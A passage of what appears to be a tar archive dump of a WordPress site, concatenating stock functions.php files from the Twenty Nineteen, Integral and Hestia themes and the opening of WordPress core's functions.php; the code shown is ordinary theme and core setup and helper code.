<style type="text/css" id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
<?php echo twentynineteen_custom_colors_css(); ?>
</style>
<?php
}
add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );
/**
* SVG Icons class.
*/
require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';
/**
* Custom Comment Walker template.
*/
require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';
/**
* Enhance the theme by hooking into WordPress.
*/
require get_template_directory() . '/inc/template-functions.php';
/**
* SVG Icons related functions.
*/
require get_template_directory() . '/inc/icon-functions.php';
/**
* Custom template tags for the theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
home/xbodynamge/lebauwcentre/wp-content/themes/integral/functions.php 0000644 00000002472 15111736716 0022237 0 ustar 00 <?php
/**
* integral functions and definitions
*/
/**
* Theme setup and custom theme supports.
*/
require get_template_directory() . '/inc/setup.php';
/**
* Enqueue Scripts.
*/
require get_template_directory() . '/inc/enqueue.php';
/**
* Redux Framework Options.
*/
require get_template_directory() . '/inc/options.php';
/**
* Theme Welcome Page.
*/
require get_template_directory() . '/inc/welcome/theme-welcome.php';
/**
* Wordpress Bootstrap Nav Walker.
*/
require get_template_directory() . '/inc/wp_bootstrap_navwalker.php';
/**
* Extras.
*/
require get_template_directory() . '/inc/extras.php';
/**
* Wordpress Customizer.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Register Widgets.
*/
require get_template_directory() . '/inc/widgets.php';
/**
* Load WooCommerce Functions.
*/
require get_template_directory() . '/inc/woocommerce.php';
/**
* TGM Plugin Activation.
*/
require get_template_directory() . '/inc/tgm-plugin-activation.php';
/**
* Theme Demo Import functions.
*/
require get_template_directory() . '/inc/theme-demo-import.php';
/**
* Upgrade Notice
*/
require get_template_directory() . '/inc/upgrade/class-customize.php';
/**
* Review Notice
*/
require get_template_directory() . '/inc/reviews.php'; home/xbodynamge/www/wp-content/themes/hestia/functions.php 0000644 00000010537 15112160355 0020043 0 ustar 00 <?php
/**
* Hestia functions and definitions
*
* @package Hestia
* @since Hestia 1.0
*/
define( 'HESTIA_VERSION', '1.1.86' );
define( 'HESTIA_VENDOR_VERSION', '1.0.1' );
define( 'HESTIA_PHP_INCLUDE', trailingslashit( get_template_directory() ) . 'inc/' );
define( 'HESTIA_CORE_DIR', HESTIA_PHP_INCLUDE . 'core/' );
// Load hooks
require_once( HESTIA_PHP_INCLUDE . 'hooks/hooks.php' );
// Load Helper Globally Scoped Functions
require_once( HESTIA_PHP_INCLUDE . 'helpers/sanitize-functions.php' );
require_once( HESTIA_PHP_INCLUDE . 'helpers/layout-functions.php' );
if ( class_exists( 'WooCommerce' ) ) {
require_once( HESTIA_PHP_INCLUDE . 'compatibility/woocommerce/functions.php' );
}
if ( function_exists( 'max_mega_menu_is_enabled' ) ) {
require_once( HESTIA_PHP_INCLUDE . 'compatibility/max-mega-menu/functions.php' );
}
/**
* Adds notice for PHP < 5.3.29 hosts.
*/
function hestia_no_support_5_3() {
$message = __( 'Hey, we\'ve noticed that you\'re running an outdated version of PHP which is no longer supported. Make sure your site is fast and secure, by upgrading PHP to the latest version.', 'hestia' );
printf( '<div class="error"><p>%1$s</p></div>', esc_html( $message ) );
}
if ( version_compare( PHP_VERSION, '5.3.29' ) < 0 ) {
/**
* Add notice for PHP upgrade.
*/
add_filter( 'template_include', '__return_null', 99 );
switch_theme( WP_DEFAULT_THEME );
unset( $_GET['activated'] );
add_action( 'admin_notices', 'hestia_no_support_5_3' );
return;
}
/**
* Begins execution of the theme core.
*
* Since everything within the plugin is registered via hooks,
* then kicking off the plugin from this point in the file does
* not affect the page life cycle.
*
* @since 1.0.0
*/
function hestia_run() {
new Hestia_Core();
$vendor_file = trailingslashit( get_template_directory() ) . 'vendor/autoload.php';
if ( is_readable( $vendor_file ) ) {
require_once $vendor_file;
}
add_filter( 'themeisle_sdk_products', 'hestia_load_sdk' );
}
/**
* Loads products array.
*
* @param array $products All products.
*
* @return array Products array.
*/
function hestia_load_sdk( $products ) {
$products[] = get_template_directory() . '/style.css';
return $products;
}
require_once( HESTIA_CORE_DIR . 'class-hestia-autoloader.php' );
Hestia_Autoloader::set_path( HESTIA_PHP_INCLUDE );
Hestia_Autoloader::define_excluded_files(
array(
'node_modules',
'hooks',
'helpers',
)
);
Hestia_Autoloader::define_namespaces( array( 'Hestia' ) );
/**
* Invocation of the Autoloader::loader method.
*
* @since 1.0.0
*/
spl_autoload_register( 'Hestia_Autoloader::loader' );
/**
* The start of the app.
*
* @since 1.0.0
*/
hestia_run();
/**
* Upgrade link to BeaverBuilder
*/
function hestia_bb_upgrade_link() {
return 'https://www.wpbeaverbuilder.com/?fla=101&campaign=hestia';
}
add_filter( 'fl_builder_upgrade_url', 'hestia_bb_upgrade_link' );
if ( ! defined( 'ELEMENTOR_PARTNER_ID' ) ) {
define( 'ELEMENTOR_PARTNER_ID', 2112 );
}
/**
* Append theme name to the upgrade link
* If the active theme is child theme of Hestia
*
* @param string $link - Current link.
*
* @return string $link - New upgrade link.
* @package hestia
* @since 1.1.75
*/
function hestia_upgrade_link( $link ) {
$theme_name = wp_get_theme()->get_stylesheet();
$hestia_child_themes = array(
'orfeo',
'fagri',
'tiny-hestia',
'christmas-hestia',
);
if ( $theme_name === 'hestia' ) {
return $link;
}
if ( ! in_array( $theme_name, $hestia_child_themes ) ) {
return $link;
}
$link = add_query_arg(
array(
'theme' => $theme_name,
), $link
);
return $link;
}
add_filter( 'hestia_upgrade_link_from_child_theme_filter', 'hestia_upgrade_link' );
/**
* Check if $no_seconds have passed since theme was activated.
* Used to perform certain actions, like displaying upsells or add a new recommended action in About Hestia page.
*
* @param integer $no_seconds number of seconds.
*
* @return bool
* @since 1.1.45
* @access public
*/
function hestia_check_passed_time( $no_seconds ) {
$activation_time = get_option( 'hestia_time_activated' );
if ( ! empty( $activation_time ) ) {
$current_time = time();
$time_difference = (int) $no_seconds;
if ( $current_time >= $activation_time + $time_difference ) {
return true;
} else {
return false;
}
}
return true;
}
/**
* Legacy code function.
*/
function hestia_setup_theme() {
return;
}
home/xbodynamge/lebauwcentre/wp-content/themes/twentynineteen/functions.php 0000604 00000023463 15112216450 0023476 0 ustar 00 <?php
/**
* Twenty Nineteen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Nineteen
* @since 1.0.0
*/
/**
* Twenty Nineteen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
if ( ! function_exists( 'twentynineteen_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentynineteen_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on Twenty Nineteen, use a find and replace
* to change 'twentynineteen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentynineteen', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 1568, 9999 );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'menu-1' => __( 'Primary', 'twentynineteen' ),
'footer' => __( 'Footer Menu', 'twentynineteen' ),
'social' => __( 'Social Links Menu', 'twentynineteen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support(
'custom-logo',
array(
'height' => 190,
'width' => 190,
'flex-width' => false,
'flex-height' => false,
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
// Add support for Block Styles.
add_theme_support( 'wp-block-styles' );
// Add support for full and wide align images.
add_theme_support( 'align-wide' );
// Add support for editor styles.
add_theme_support( 'editor-styles' );
// Enqueue editor styles.
add_editor_style( 'style-editor.css' );
// Add custom editor font sizes.
add_theme_support(
'editor-font-sizes',
array(
array(
'name' => __( 'Small', 'twentynineteen' ),
'shortName' => __( 'S', 'twentynineteen' ),
'size' => 19.5,
'slug' => 'small',
),
array(
'name' => __( 'Normal', 'twentynineteen' ),
'shortName' => __( 'M', 'twentynineteen' ),
'size' => 22,
'slug' => 'normal',
),
array(
'name' => __( 'Large', 'twentynineteen' ),
'shortName' => __( 'L', 'twentynineteen' ),
'size' => 36.5,
'slug' => 'large',
),
array(
'name' => __( 'Huge', 'twentynineteen' ),
'shortName' => __( 'XL', 'twentynineteen' ),
'size' => 49.5,
'slug' => 'huge',
),
)
);
// Editor color palette.
add_theme_support(
'editor-color-palette',
array(
array(
'name' => __( 'Primary', 'twentynineteen' ),
'slug' => 'primary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 33 ),
),
array(
'name' => __( 'Secondary', 'twentynineteen' ),
'slug' => 'secondary',
'color' => twentynineteen_hsl_hex( 'default' === get_theme_mod( 'primary_color' ) ? 199 : get_theme_mod( 'primary_color_hue', 199 ), 100, 23 ),
),
array(
'name' => __( 'Dark Gray', 'twentynineteen' ),
'slug' => 'dark-gray',
'color' => '#111',
),
array(
'name' => __( 'Light Gray', 'twentynineteen' ),
'slug' => 'light-gray',
'color' => '#767676',
),
array(
'name' => __( 'White', 'twentynineteen' ),
'slug' => 'white',
'color' => '#FFF',
),
)
);
// Add support for responsive embedded content.
add_theme_support( 'responsive-embeds' );
}
endif;
add_action( 'after_setup_theme', 'twentynineteen_setup' );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentynineteen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Footer', 'twentynineteen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your footer.', 'twentynineteen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentynineteen_widgets_init' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width Content width.
*/
function twentynineteen_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'twentynineteen_content_width', 640 );
}
add_action( 'after_setup_theme', 'twentynineteen_content_width', 0 );
/**
* Enqueue scripts and styles.
*/
function twentynineteen_scripts() {
wp_enqueue_style( 'twentynineteen-style', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) );
wp_style_add_data( 'twentynineteen-style', 'rtl', 'replace' );
if ( has_nav_menu( 'menu-1' ) ) {
wp_enqueue_script( 'twentynineteen-priority-menu', get_theme_file_uri( '/js/priority-menu.js' ), array(), '1.1', true );
wp_enqueue_script( 'twentynineteen-touch-navigation', get_theme_file_uri( '/js/touch-keyboard-navigation.js' ), array(), '1.1', true );
}
wp_enqueue_style( 'twentynineteen-print-style', get_template_directory_uri() . '/print.css', array(), wp_get_theme()->get( 'Version' ), 'print' );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'twentynineteen_scripts' );
/**
* Fix skip link focus in IE11.
*
* This does not enqueue the script because it is tiny and because it is only for IE11,
* thus it does not warrant having an entire dedicated blocking script being loaded.
*
* @link https://git.io/vWdr2
*/
function twentynineteen_skip_link_focus_fix() {
// The following is minified via `terser --compress --mangle -- js/skip-link-focus-fix.js`.
?>
<script>
/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
</script>
<?php
}
add_action( 'wp_print_footer_scripts', 'twentynineteen_skip_link_focus_fix' );
/**
* Enqueue supplemental block editor styles.
*/
function twentynineteen_editor_customizer_styles() {
wp_enqueue_style( 'twentynineteen-editor-customizer-styles', get_theme_file_uri( '/style-editor-customizer.css' ), false, '1.1', 'all' );
if ( 'custom' === get_theme_mod( 'primary_color' ) ) {
// Include color patterns.
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
wp_add_inline_style( 'twentynineteen-editor-customizer-styles', twentynineteen_custom_colors_css() );
}
}
add_action( 'enqueue_block_editor_assets', 'twentynineteen_editor_customizer_styles' );
/**
* Display custom color CSS in customizer and on frontend.
*/
function twentynineteen_colors_css_wrap() {
// Only include custom colors in customizer or frontend.
if ( ( ! is_customize_preview() && 'default' === get_theme_mod( 'primary_color', 'default' ) ) || is_admin() ) {
return;
}
require_once get_parent_theme_file_path( '/inc/color-patterns.php' );
$primary_color = 199;
if ( 'default' !== get_theme_mod( 'primary_color', 'default' ) ) {
$primary_color = get_theme_mod( 'primary_color_hue', 199 );
}
?>
<style type="text/css" id="custom-theme-colors" <?php echo is_customize_preview() ? 'data-hue="' . absint( $primary_color ) . '"' : ''; ?>>
<?php echo twentynineteen_custom_colors_css(); ?>
</style>
<?php
}
add_action( 'wp_head', 'twentynineteen_colors_css_wrap' );
/**
* SVG Icons class.
*/
require get_template_directory() . '/classes/class-twentynineteen-svg-icons.php';
/**
* Custom Comment Walker template.
*/
require get_template_directory() . '/classes/class-twentynineteen-walker-comment.php';
/**
* Enhance the theme by hooking into WordPress.
*/
require get_template_directory() . '/inc/template-functions.php';
/**
* SVG Icons related functions.
*/
require get_template_directory() . '/inc/icon-functions.php';
/**
* Custom template tags for the theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
home/xbodynamge/dev/wp-includes/functions.php 0000604 00000562163 15112267114 0015373 0 ustar 00 <?php
/**
* Main WordPress API
*
* @package WordPress
*/
require( ABSPATH . WPINC . '/option.php' );
/**
* Convert given date string into a different format.
*
* $format should be either a PHP date format string, e.g. 'U' for a Unix
* timestamp, or 'G' for a Unix timestamp assuming that $date is GMT.
*
* If $translate is true then the given date and format string will
* be passed to date_i18n() for translation.
*
* @since 0.71
*
* @param string $format Format of the date to return.
* @param string $date Date string to convert.
* @param bool $translate Whether the return date should be translated. Default true.
* @return string|int|bool Formatted date string or Unix timestamp. False if $date is empty.
*/
function mysql2date( $format, $date, $translate = true ) {
if ( empty( $date ) )
return false;
if ( 'G' == $format )
return strtotime( $date . ' +0000' );
$i = strtotime( $date );
if ( 'U' == $format )
return $i;
if ( $translate )
return date_i18n( $format, $i );
else
return date( $format, $i );
}
/**
* Retrieve the current time based on specified type.
*
* The 'mysql' type will return the time in the format for MySQL DATETIME field.
* The 'timestamp' type will return the current timestamp.
* Other strings will be interpreted as PHP date formats (e.g. 'Y-m-d').
*
* If $gmt is set to either '1' or 'true', then both types will use GMT time.
* if $gmt is false, the output is adjusted with the GMT offset in the WordPress option.
*
* @since 1.0.0
*
* @param string $type Type of time to retrieve. Accepts 'mysql', 'timestamp', or PHP date
* format string (e.g. 'Y-m-d').
* @param int|bool $gmt Optional. Whether to use GMT timezone. Default false.
* @return int|string Integer if $type is 'timestamp', string otherwise.
*/
function current_time( $type, $gmt = 0 ) {
switch ( $type ) {
case 'mysql':
return ( $gmt ) ? gmdate( 'Y-m-d H:i:s' ) : gmdate( 'Y-m-d H:i:s', ( time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) ) );
case 'timestamp':
return ( $gmt ) ? time() : time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
default:
return ( $gmt ) ? date( $type ) : date( $type, time() + ( get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
}
}
/**
* Retrieve the date in localized format, based on timestamp.
*
* If the locale specifies the locale month and weekday, then the locale will
* take over the format for the date. If it isn't, then the date format string
* will be used instead.
*
* @since 0.71
*
* @global WP_Locale $wp_locale
*
* @param string $dateformatstring Format to display the date.
* @param bool|int $unixtimestamp Optional. Unix timestamp. Default false.
* @param bool $gmt Optional. Whether to use GMT timezone. Default false.
*
* @return string The date, translated if locale specifies it.
*/
function date_i18n( $dateformatstring, $unixtimestamp = false, $gmt = false ) {
global $wp_locale;
$i = $unixtimestamp;
if ( false === $i ) {
$i = current_time( 'timestamp', $gmt );
}
/*
* Store original value for language with untypical grammars.
* See https://core.trac.wordpress.org/ticket/9396
*/
$req_format = $dateformatstring;
if ( ( !empty( $wp_locale->month ) ) && ( !empty( $wp_locale->weekday ) ) ) {
$datemonth = $wp_locale->get_month( date( 'm', $i ) );
$datemonth_abbrev = $wp_locale->get_month_abbrev( $datemonth );
$dateweekday = $wp_locale->get_weekday( date( 'w', $i ) );
$dateweekday_abbrev = $wp_locale->get_weekday_abbrev( $dateweekday );
$datemeridiem = $wp_locale->get_meridiem( date( 'a', $i ) );
$datemeridiem_capital = $wp_locale->get_meridiem( date( 'A', $i ) );
$dateformatstring = ' '.$dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])D/", "\\1" . backslashit( $dateweekday_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])F/", "\\1" . backslashit( $datemonth ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])l/", "\\1" . backslashit( $dateweekday ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])M/", "\\1" . backslashit( $datemonth_abbrev ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])a/", "\\1" . backslashit( $datemeridiem ), $dateformatstring );
$dateformatstring = preg_replace( "/([^\\\])A/", "\\1" . backslashit( $datemeridiem_capital ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
}
$timezone_formats = array( 'P', 'I', 'O', 'T', 'Z', 'e' );
$timezone_formats_re = implode( '|', $timezone_formats );
if ( preg_match( "/$timezone_formats_re/", $dateformatstring ) ) {
$timezone_string = get_option( 'timezone_string' );
if ( $timezone_string ) {
$timezone_object = timezone_open( $timezone_string );
$date_object = date_create( null, $timezone_object );
foreach ( $timezone_formats as $timezone_format ) {
if ( false !== strpos( $dateformatstring, $timezone_format ) ) {
$formatted = date_format( $date_object, $timezone_format );
$dateformatstring = ' '.$dateformatstring;
$dateformatstring = preg_replace( "/([^\\\])$timezone_format/", "\\1" . backslashit( $formatted ), $dateformatstring );
$dateformatstring = substr( $dateformatstring, 1, strlen( $dateformatstring ) -1 );
}
}
}
}
$j = @date( $dateformatstring, $i );
/**
* Filters the date formatted based on the locale.
*
* @since 2.8.0
*
* @param string $j Formatted date string.
* @param string $req_format Format to display the date.
* @param int $i Unix timestamp.
* @param bool $gmt Whether to convert to GMT for time. Default false.
*/
$j = apply_filters( 'date_i18n', $j, $req_format, $i, $gmt );
return $j;
}
/**
* Determines if the date should be declined.
*
* If the locale specifies that month names require a genitive case in certain
* formats (like 'j F Y'), the month name will be replaced with a correct form.
*
* @since 4.4.0
*
* @global WP_Locale $wp_locale
*
* @param string $date Formatted date string.
* @return string The date, declined if locale specifies it.
*/
function wp_maybe_decline_date( $date ) {
global $wp_locale;
// i18n functions are not available in SHORTINIT mode
if ( ! function_exists( '_x' ) ) {
return $date;
}
/* translators: If months in your language require a genitive case,
* translate this to 'on'. Do not translate into your own language.
*/
if ( 'on' === _x( 'off', 'decline months names: on or off' ) ) {
// Match a format like 'j F Y' or 'j. F'
if ( @preg_match( '#^\d{1,2}\.? [^\d ]+#u', $date ) ) {
$months = $wp_locale->month;
$months_genitive = $wp_locale->month_genitive;
foreach ( $months as $key => $month ) {
$months[ $key ] = '# ' . $month . '( |$)#u';
}
foreach ( $months_genitive as $key => $month ) {
$months_genitive[ $key ] = ' ' . $month . '$1';
}
$date = preg_replace( $months, $months_genitive, $date );
}
}
// Used for locale-specific rules
$locale = get_locale();
if ( 'ca' === $locale ) {
// " de abril| de agost| de octubre..." -> " d'abril| d'agost| d'octubre..."
$date = preg_replace( '# de ([ao])#i', " d'\\1", $date );
}
return $date;
}
/**
* Convert float number to format based on the locale.
*
* @since 2.3.0
*
* @global WP_Locale $wp_locale
*
* @param float $number The number to convert based on locale.
* @param int $decimals Optional. Precision of the number of decimal places. Default 0.
* @return string Converted number in string format.
*/
function number_format_i18n( $number, $decimals = 0 ) {
global $wp_locale;
if ( isset( $wp_locale ) ) {
$formatted = number_format( $number, absint( $decimals ), $wp_locale->number_format['decimal_point'], $wp_locale->number_format['thousands_sep'] );
} else {
$formatted = number_format( $number, absint( $decimals ) );
}
/**
* Filters the number formatted based on the locale.
*
* @since 2.8.0
* @since 4.9.0 The `$number` and `$decimals` arguments were added.
*
* @param string $formatted Converted number in string format.
* @param float $number The number to convert based on locale.
* @param int $decimals Precision of the number of decimal places.
*/
return apply_filters( 'number_format_i18n', $formatted, $number, $decimals );
}
/**
* Convert number of bytes largest unit bytes will fit into.
*
* It is easier to read 1 KB than 1024 bytes and 1 MB than 1048576 bytes. Converts
* number of bytes to human readable number by taking the number of that unit
* that the bytes will go into it. Supports TB value.
*
* Please note that integers in PHP are limited to 32 bits, unless they are on
* 64 bit architecture, then they have 64 bit size. If you need to place the
* larger size then what PHP integer type will hold, then use a string. It will
* be converted to a double, which should always have 64 bit length.
*
* Technically the correct unit names for powers of 1024 are KiB, MiB etc.
*
* @since 2.3.0
*
* @param int|string $bytes Number of bytes. Note max integer size for integers.
* @param int $decimals Optional. Precision of number of decimal places. Default 0.
* @return string|false False on failure. Number string on success.
*/
function size_format( $bytes, $decimals = 0 ) {
$quant = array(
'TB' => TB_IN_BYTES,
'GB' => GB_IN_BYTES,
'MB' => MB_IN_BYTES,
'KB' => KB_IN_BYTES,
'B' => 1,
);
if ( 0 === $bytes ) {
return number_format_i18n( 0, $decimals ) . ' B';
}
foreach ( $quant as $unit => $mag ) {
if ( doubleval( $bytes ) >= $mag ) {
return number_format_i18n( $bytes / $mag, $decimals ) . ' ' . $unit;
}
}
return false;
}
/**
* Get the week start and end from the datetime or date string from MySQL.
*
* @since 0.71
*
* @param string $mysqlstring Date or datetime field type from MySQL.
* @param int|string $start_of_week Optional. Start of the week as an integer. Default empty string.
* @return array Keys are 'start' and 'end'.
*/
function get_weekstartend( $mysqlstring, $start_of_week = '' ) {
// MySQL string year.
$my = substr( $mysqlstring, 0, 4 );
// MySQL string month.
$mm = substr( $mysqlstring, 8, 2 );
// MySQL string day.
$md = substr( $mysqlstring, 5, 2 );
// The timestamp for MySQL string day.
$day = mktime( 0, 0, 0, $md, $mm, $my );
// The day of the week from the timestamp.
$weekday = date( 'w', $day );
if ( !is_numeric($start_of_week) )
$start_of_week = get_option( 'start_of_week' );
if ( $weekday < $start_of_week )
$weekday += 7;
// The most recent week start day on or before $day.
$start = $day - DAY_IN_SECONDS * ( $weekday - $start_of_week );
// $start + 1 week - 1 second.
$end = $start + WEEK_IN_SECONDS - 1;
return compact( 'start', 'end' );
}
/**
* Unserialize value only if it was serialized.
*
* @since 2.0.0
*
* @param string $original Maybe unserialized original, if is needed.
* @return mixed Unserialized data can be any type.
*/
function maybe_unserialize( $original ) {
if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in
return @unserialize( $original );
return $original;
}
/**
* Check value to find if it was serialized.
*
* If $data is not an string, then returned value will always be false.
* Serialized data is always a string.
*
* @since 2.0.5
*
* @param string $data Value to check to see if was serialized.
* @param bool $strict Optional. Whether to be strict about the end of the string. Default true.
* @return bool False if not serialized and true if it was.
*/
function is_serialized( $data, $strict = true ) {
// if it isn't a string, it isn't serialized.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( 'N;' == $data ) {
return true;
}
if ( strlen( $data ) < 4 ) {
return false;
}
if ( ':' !== $data[1] ) {
return false;
}
if ( $strict ) {
$lastc = substr( $data, -1 );
if ( ';' !== $lastc && '}' !== $lastc ) {
return false;
}
} else {
$semicolon = strpos( $data, ';' );
$brace = strpos( $data, '}' );
// Either ; or } must exist.
if ( false === $semicolon && false === $brace )
return false;
// But neither must be in the first X characters.
if ( false !== $semicolon && $semicolon < 3 )
return false;
if ( false !== $brace && $brace < 4 )
return false;
}
$token = $data[0];
switch ( $token ) {
case 's' :
if ( $strict ) {
if ( '"' !== substr( $data, -2, 1 ) ) {
return false;
}
} elseif ( false === strpos( $data, '"' ) ) {
return false;
}
// or else fall through
case 'a' :
case 'O' :
return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
case 'b' :
case 'i' :
case 'd' :
$end = $strict ? '$' : '';
return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data );
}
return false;
}
/**
* Check whether serialized data is of string type.
*
* @since 2.0.5
*
* @param string $data Serialized data.
* @return bool False if not a serialized string, true if it is.
*/
function is_serialized_string( $data ) {
// if it isn't a string, it isn't a serialized string.
if ( ! is_string( $data ) ) {
return false;
}
$data = trim( $data );
if ( strlen( $data ) < 4 ) {
return false;
} elseif ( ':' !== $data[1] ) {
return false;
} elseif ( ';' !== substr( $data, -1 ) ) {
return false;
} elseif ( $data[0] !== 's' ) {
return false;
} elseif ( '"' !== substr( $data, -2, 1 ) ) {
return false;
} else {
return true;
}
}
/**
* Serialize data, if needed.
*
* @since 2.0.5
*
* @param string|array|object $data Data that might be serialized.
* @return mixed A scalar data
*/
function maybe_serialize( $data ) {
if ( is_array( $data ) || is_object( $data ) )
return serialize( $data );
// Double serialization is required for backward compatibility.
// See https://core.trac.wordpress.org/ticket/12930
// Also the world will end. See WP 3.6.1.
if ( is_serialized( $data, false ) )
return serialize( $data );
return $data;
}
/**
* Retrieve post title from XMLRPC XML.
*
* If the title element is not part of the XML, then the default post title from
* the $post_default_title will be used instead.
*
* @since 0.71
*
* @global string $post_default_title Default XML-RPC post title.
*
* @param string $content XMLRPC XML Request content
* @return string Post title
*/
function xmlrpc_getposttitle( $content ) {
global $post_default_title;
if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) {
$post_title = $matchtitle[1];
} else {
$post_title = $post_default_title;
}
return $post_title;
}
/**
* Retrieve the post category or categories from XMLRPC XML.
*
* If the category element is not found, then the default post category will be
* used. The return type then would be what $post_default_category. If the
* category is found, then it will always be an array.
*
* @since 0.71
*
* @global string $post_default_category Default XML-RPC post category.
*
* @param string $content XMLRPC XML Request content
* @return string|array List of categories or category name.
*/
function xmlrpc_getpostcategory( $content ) {
global $post_default_category;
if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) {
$post_category = trim( $matchcat[1], ',' );
$post_category = explode( ',', $post_category );
} else {
$post_category = $post_default_category;
}
return $post_category;
}
/**
* XMLRPC XML content without title and category elements.
*
* @since 0.71
*
* @param string $content XML-RPC XML Request content.
* @return string XMLRPC XML Request content without title and category elements.
*/
function xmlrpc_removepostdata( $content ) {
$content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content );
$content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content );
$content = trim( $content );
return $content;
}
/**
* Use RegEx to extract URLs from arbitrary content.
*
* @since 3.7.0
*
* @param string $content Content to extract URLs from.
* @return array URLs found in passed string.
*/
function wp_extract_urls( $content ) {
preg_match_all(
"#([\"']?)("
. "(?:([\w-]+:)?//?)"
. "[^\s()<>]+"
. "[.]"
. "(?:"
. "\([\w\d]+\)|"
. "(?:"
. "[^`!()\[\]{};:'\".,<>«»“”‘’\s]|"
. "(?:[:]\d+)?/?"
. ")+"
. ")"
. ")\\1#",
$content,
$post_links
);
$post_links = array_unique( array_map( 'html_entity_decode', $post_links[2] ) );
return array_values( $post_links );
}
/**
* Check content for video and audio links to add as enclosures.
*
* Will not add enclosures that have already been added and will
* remove enclosures that are no longer in the post. This is called as
* pingbacks and trackbacks.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $content Post Content.
* @param int $post_ID Post ID.
*/
function do_enclose( $content, $post_ID ) {
global $wpdb;
//TODO: Tidy this ghetto code up and make the debug code optional
include_once( ABSPATH . WPINC . '/class-IXR.php' );
$post_links = array();
$pung = get_enclosed( $post_ID );
$post_links_temp = wp_extract_urls( $content );
foreach ( $pung as $link_test ) {
if ( ! in_array( $link_test, $post_links_temp ) ) { // link no longer in post
$mids = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post_ID, $wpdb->esc_like( $link_test ) . '%') );
foreach ( $mids as $mid )
delete_metadata_by_mid( 'post', $mid );
}
}
foreach ( (array) $post_links_temp as $link_test ) {
if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already
$test = @parse_url( $link_test );
if ( false === $test )
continue;
if ( isset( $test['query'] ) )
$post_links[] = $link_test;
elseif ( isset($test['path']) && ( $test['path'] != '/' ) && ($test['path'] != '' ) )
